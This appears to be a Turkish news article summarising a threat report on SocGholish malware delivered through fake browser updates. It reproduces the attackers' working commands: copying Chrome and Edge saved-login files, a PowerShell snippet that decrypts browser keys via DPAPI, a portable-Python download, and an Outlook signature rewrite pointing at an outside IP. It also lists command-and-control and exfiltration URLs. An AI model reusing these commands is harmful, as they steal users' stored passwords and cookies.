Şirketler, aldatıcı tarayıcı güncelleme istemleri yoluyla SocGholish olarak bilinen kötü amaçlı yazılım tarafından hedefleniyor.
Gizliliği ve dağıtım mekanizmalarının karmaşıklığıyla ünlü olan bu kötü amaçlı yazılım, kullanıcıları kötü amaçlı yükleri indirmeleri için kandıran sahte tarayıcı güncellemelerini içeren bir dizi olayda tespit edildi.
ESentire yakın zamanda SocGholish kötü amaçlı yazılımının işletmelere sızdığını vurgulayan bir rapor yayınladı.
Bu kötü amaçlı yazılım, sahte tarayıcı güncellemeleri yoluyla yayılıyor ve kuruluşlar için önemli güvenlik endişelerine neden oluyor.
Enfeksiyon Vektörü: Güvenliği Tehlikeye Giren Web Siteleri
SocGholish saldırısının ilk aşaması, saldırganların kötü amaçlı JavaScript kodu enjekte ettiği meşru web sitelerinin tehlikeye atılmasını içerir.
Bu web sitelerini ziyaret eden şüphelenmeyen kullanıcılar, onları tarayıcı güncellemelerini indirmeye teşvik eden açılır bildirimler alır.
Ancak bu yönlendirmeler akıllıca gizlenmiş tuzaklardır.
Genellikle “Update.js” olarak adlandırılan indirilen dosya, SocGholish kötü amaçlı yazılımını barındırıyor ve yürütüldüğünde bulaşma sürecini başlatıyor.
SocGholish kötü amaçlı yazılımı, otomatik analiz araçları tarafından tespit edilmekten kaçınmak için gelişmiş kaçınma teknikleri kullanır.
Free Webinar on Live API Attack Simulation: Book Your Seat | Start protecting your APIs from hackers
Örneğin tarayıcının “navigator.webdriver” özelliği aracılığıyla Selenium gibi otomasyon araçlarını kontrol eder.
Kötü amaçlı yazılım, tespit edilmesi durumunda diğer eylemleri durdurarak otomatik güvenlik analizinden etkili bir şekilde kaçınır.
Başarılı bir kaçışın ardından SocGholish, yükünü yürütmeye devam ediyor.
Komut dosyasında sağlanan URL örnekleri şunlardır:
hxxps://ghost.blueecho88[.]com/XnkKYSVbaQg6WzBTaU0mQy0NbxF8QygRLBxpCTsaYT40ClUHLBZkFTsLeA4sWyZDOwt4DixbMFByW3hDZFtvBy4JbEMjhxxps://ghost.blueecho88[.]com/U5WuWyi3zTI3t5RpZKGCeSDhyytxr4wrIfDNMzb2xQQ55vE9IfrALzbn3DQht4J5NufcNCG3lGl/t9x5abfKNz3wxDAl/cw3NeXXPDG30w==
hxxps://ghost.blueecho88[.]com/gcGKZ/rj6Q7l47BVtvWmRfK17xej+6gG76DmHvuk1QHx46ZF8+OwReumqBo=
Bu yazılım, kullanıcı etkileşimine ve yönetici oturumunu belirten WordPress çerezlerinin tespit edilmesi gibi belirli koşullara bağlı olarak ek kötü amaçlı komut dosyaları indiren, gizlenmiş JavaScript kodunun yürütülmesiyle başlayan, çok aşamalı bir bulaşma süreci kullanır.
Komut dosyası tarafından hxxps://tfuq.register.arpsychoterapi.com/editContent URL’sine bir POST isteği gönderilir.
“lpZw+wmbGiagWaoqNM/HmfLjMBYLsTv26io31cysSA==” verisi “send” metodu ile sunucuya gönderilir.
Sömürü Sonrası Faaliyet
İlk ele geçirmenin ardından saldırganlar, Microsoft Edge ve Google Chrome gibi tarayıcılardan depolanan şifrelerin çıkarılması ve aşağıdaki komutları kullanarak bunları dışarı sızmak üzere geçici bir dosyaya kopyalamak da dahil olmak üzere uygulamalı faaliyetlere girişir:
"C:\Windows\System32\cmd.exe" /C type "C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Login Data" >> "C:\Users\username\AppData\Local\Temp\2\radC7958.tmp""C:\Windows\System32\cmd.exe" /C type "C:\Users\username\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" >> "C:\Users\username\AppData\Local\Temp\2\rad01734.tmp"
Kısa bir süre sonra, oturum açma veri dosyalarını hem Edge hem de Chrome tarayıcılarından farklı bir kullanıcının İndirilenler dizinine kopyalamak ve ardından etkinliği veya hataları geçici bir dosyaya kaydetmek için başka bir komut çalıştırıldı (kullanıcı adı – etkilenen birincil kullanıcıdır, kullanıcı adı_2 aynı kullanıcıdaki başka bir kullanıcıdır) makine):
"C:\Windows\System32\cmd.exe" /C copy "C:\Users\username\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" C:\users\username_2 \Downloads\0395edg.bin© "C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Login Data" C:\users\username_2\Downloads\0396chr.bin >> "C:\Users\username\AppData\Local\Temp\2\rad5914F.tmp"
Kimlik bilgisi verilerinin başka bir kullanıcı altında hazırlanması, ana dosyaların keşfedilmesi durumunda büyük olasılıkla yedeklilik amacıyla yapılır.
Tehdit oyuncuları daha sonra base64’te kodlanmış bir komutu çalıştırmak için PowerShell’i kullanmaya çalıştı.
Kodu çözülen komut, DPAPI’yi (Veri Koruma API’si) kullanarak Edge ve Chrome’un şifreler ve çerezler için şifreleme anahtarlarını alır ve bunların şifresini çözer.
Daha sonra sonuçları tek kullanımlık bir dosyaya kaydeder.
Kodu çözülen komutlar:
"C:\Windows\System32\cmd.exe" /C powershell -enc $1 = (gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State").split(',')| select-string encrypted_key; $2 = $1 -replace '"}', '' -replace '"encrypted_key":"','';Add-Type -AssemblyName System.Security;;$3 = [System.Convert]::FromBase64String($2);$3 = $3[5..($3.length-1)];$4 = [System.Security.Cryptography.ProtectedData]::Unprotect($3,$null,[Security.Cryptography.DataProtectionScope]::CurrentUser);$4 >> "C:\Users\username\AppData\Local\Temp\2\rad1F269.tmp""C:\Windows\System32\cmd.exe" /C powershell -enc $1 = (gc "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Local State").split(',')| select-string encrypted_key; $2 = $1 -replace '"}', '' -replace '"encrypted_key":"','';Add-Type -AssemblyName System.Security;;$3 = [System.Convert]::FromBase64String($2);$3 = $3[5..($3.length-1)];$4 = [System.Security.Cryptography.ProtectedData]::Unprotect($3,$null,[Security.Cryptography.DataProtectionScope]::CurrentUser);$4 >> "C:\Users\username\AppData\Local\Temp\2\rad65036.tmp"
Bundan sonra saldırganlar, Python’un taşınabilir bir sürümünü “AppDataLocalConnectedDevicesPlatform” yolu altında çalıştırmak için kullanılabilecek şekilde indirme, çıkarma ve kurmayla ilgili çeşitli işlemleri gerçekleştiren PowerShell komutunu çalıştırmayı 10 kez denedi. daha fazla Python verisi.
powershell -c "wget https://www.python.org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip -OutFile C:\Users\username\AppData\Local\ConnectedDevicesPlatform\python.zip;ls C:\Users\ username \AppData\Local\ConnectedDevicesPlatform\python.zip;Expand-Archive -LiteralPath C:\Users\ username \AppData\Local\ConnectedDevicesPlatform\python.zip -DestinationPath C:\Users\ username \AppData\Local\ConnectedDevicesPlatform\pypa;rm C:\Users\ username \AppData\Local\ConnectedDevicesPlatform\python.zip;ls C:\Users\ username \AppData\Local\ConnectedDevicesPlatform\pypa;wget https://bootstrap.pypa.io/get-pip.py -OutFile C:\Users\ username \AppData\Local\ConnectedDevicesPlatform\pypa\get-pip.py;cd C:\Users\ username \AppData\Local\ConnectedDevicesPlatform\pypa;mkdir DLLs;ren python312._pth python312.pth"
Kötü adamlar daha sonra Powershell’i kullanarak Microsoft Outlook’un kullandığı HTML imza dosyalarını değiştiren base64 kodlu bir komutu çalıştırdılar.
"C:\Windows\System32\cmd.exe" /C powershell.exe -encodedCommand Get-ChildItem -Path $env:APPDATA\Microsoft\Signatures -Filter *.htm | ForEach-Object { (Get-Content $_.FullName) -replace '![](`"file://170.130.55[.]72/logocompany.jpeg`")
`r`n" | Set-Content $_.FullName } >> "C:\Users\username\AppData\Local\Temp\2\rad1F1BD.tmp"